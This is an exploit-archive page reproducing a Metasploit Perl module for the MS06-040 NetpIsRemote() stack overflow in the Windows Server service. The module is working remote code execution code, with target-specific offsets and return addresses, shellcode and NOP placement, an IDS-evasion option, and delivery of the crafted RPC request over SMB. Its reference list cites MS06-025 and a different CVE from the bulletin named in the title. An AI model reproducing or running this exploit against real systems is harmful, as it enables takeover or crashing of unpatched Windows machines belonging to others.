exploits , vulnerabilities , articles , MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040)

Rated as : Critical

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::netapi_ms06_040;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;
use Pex::NDR;

my $advanced = {
	'FragSize'    => [ 256, 'The DCERPC fragment size' ],
	'BindEvasion' => [ 0,   'IDS Evasion of the bind request' ],
	'DirectSMB'   => [ 0,   'Use direct SMB (445/tcp)' ],
  };

my $info = {
	'Name'    => 'Microsoft NetpIsRemote() MSO6-040 Overflow',
	'Version' => '$Revision: 3715 $',
	'Authors' =>
	  [
		'H D Moore <hdm [at] metasploit.com>',
	  ],

	'Arch' => ['x86'],
	'OS'   => [ 'win32', 'win2000', 'winxp', 'win2003' ],
	'Priv' => 1,

	'AutoOpts' => { 'EXITFUNC' => 'thread' },
	
	'UserOpts' =>
	  {
		'RHOST' => [ 1, 'ADDR', 'The target address' ],

		# SMB connection options
		'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
		'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',
'' ],
		'SMBDOM'  => [ 0, 'DATA', 'The domain for specified SMB username', ''
],
	  },

	'Payload' =>
	  {
	  	# Technically we can use more space than this, but this lets us
		# keep the same payload size between XP and 2000 and still allow
		# for multiple exploit runs against a single instance
		'Space'    => 420,
		
		'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
		'Keys'     => ['+ws2ord'],

		# sub esp, 4097 + inc esp makes stack happy
		'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
	  },

	'Description' => Pex::Text::Freeform(
		qq{
        This module exploits a stack overflow in the NetApi32
NetpIsRemote() function
		using the NetpwPathCanonicalize RPC call in the Server Service. It is
likely that
		other RPC calls could be used to exploit this service. This exploit will
result in
		a denial of service on on Windows XP SP2 or Windows 2003 SP1. A failed
exploit attempt
		will likely result in a complete reboot on Windows 2000 and the
termination of all 
		SMB-related services on Windows XP. 
	  }
	  ),

	'Refs' =>
	  [
		[ 'BID', '18325' ],
		[ 'CVE', '2006-2370' ],
		[ 'MSB', 'MS06-025' ],
		[ 'OSVDB', '26437' ],
	  ],

	'DefaultTarget' => 0,
	'Targets'       =>
	  [
	  	[ 'Automatic for Windows 2000 and Windows XP SP0/SP1' ],
		[ 'Windows 2000', 1025, 1005, 1017, 0x00020804, 0x00020830, 32 ],
		[ 'Windows XP',    631,  611,  623, 0x00020804, 0x000209c0, 140 ]
	  ],

	'Keys' => ['srvsvc'],

	'DisclosureDate' => 'Aug 08 2006',
  };

sub new {
	my ($class) = @_;
	my $self =
	  $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced
}, @_ );
	return ($self);
}

sub Exploit {
	my ($self)      = @_;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target_name = '*SMBSERVER';

	my $FragSize = $self->GetVar('FragSize') || 256;
	my $target   = $self->Targets->[$target_idx];

	if (!$self->InitNops(128)) {
		$self->PrintLine("Could not initialize the nop module");
		return;
	}

	my ( $res, $rpc );

	my $pipe    = '\BROWSER';
	my $uuid    = '4b324fc8-1670-01d3-1278-5a47bf6ee188';
	my $version = '3.0';

	my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np',
$target_host, $pipe );

	my $dce = Pex::DCERPC->new(
		'handle'      => $handle,
		'username'    => $self->GetVar('SMBUSER'),
		'password'    => $self->GetVar('SMBPASS'),
		'domain'      => $self->GetVar('SMBDOM'),
		'fragsize'    => $self->GetVar('FragSize'),
		'bindevasion' => $self->GetVar('BindEvasion'),
		'directsmb'   => $self->GetVar('DirectSMB'),
	  );

	if ( !$dce ) {
		$self->PrintLine("[*] Could not bind to $handle");
		return;
	}

	my $smb = $dce->{'_handles'}{$handle}{'connection'};
	
	if (! $smb) {
		$self->PrintLine("[*] Could not establish SMB session");
		return;
	}

    if ( $target->[0] =~ /Automatic/ ) {
        if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
            $target = $self->Targets->[1];
            $self->PrintLine('[*] Detected a Windows 2000 target');
        }
        elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
            $target = $self->Targets->[2];
            $self->PrintLine('[*] Detected a Windows XP target');
			$self->PrintLine('[*] This will not work on SP2!');
        }
        elsif ( $smb->PeerNativeOS eq 'Windows 4.0' ) {
            $target = $self->Targets->[1];
            $self->PrintLine('[*] Detected a Windows NT 4.0 target');
			$self->PrintLine('[*] Please email us with the results!');
        }		
        else {
            $self->PrintLine('[*] No target available for ' .
$smb->PeerNativeOS() );
            return;
        }
    }
		
	#
	#  /* Function 0x1f at 0x767e912c */
	#  long function_1f (
	#    [in] [unique] [string] wchar_t * arg_00,
	#    [in] [string] wchar_t * arg_01,
	#    [out] [size_is(arg_03)] char * arg_02,
	#    [in] [range(0, 64000)] long arg_03,
	#    [in] [string] wchar_t * arg_04,
	#    [in,out] long * arg_05,
	#    [in] long arg_06
	#  );
	#

	# Prepend nops based on the target
	$shellcode = $self->MakeNops($target->[6]) . $shellcode;
	
	my $boom = Pex::Text::AlphaNumText($target->[1]);
	
	# Stuff our payload in first
	substr($boom, 0, length($shellcode), $shellcode);

	# Return address offset and value
	substr($boom, $target->[2], 4, pack('V', $target->[5]));
		
	# Destination pointer offset and value
	substr($boom, $target->[3], 4, pack('V', $target->[4]));

	# Stick it into a path
	my $path = 	"\x5c". $boom. "\x00\x00";
	
	# Package that into a stub
	my $stub =
	  Pex::NDR::Long(int(rand(0xffffffff))).
	  Pex::NDR::UnicodeConformantVaryingString('').
	  Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).
	  Pex::NDR::Long(int(rand(250)+1)).
	  Pex::NDR::UnicodeConformantVaryingString('').
	  Pex::NDR::Long(int(rand(250)+1)).
	  Pex::NDR::Long(0);

	$self->PrintLine("[*] Sending request...");
	
	# Function 0x1f is not the only way to exploit this :-)
	my @response = $dce->request( $handle, 0x1f, $stub );
	
	if ( length($dce->{'response'}->{'StubData'}) > 0) {
		$self->PrintLine("[*] The server rejected it, trying
again...");
		@response = $dce->request( $handle, 0x1f, $stub );
	}
	
	if (@response) {
		$self->PrintLine('[*] RPC server responded with:');
		foreach my $line (@response) {
			$self->PrintLine( '[*] ' . $line );
		}
	}

	return;
}

1;
securitydot.net - 2006-08-10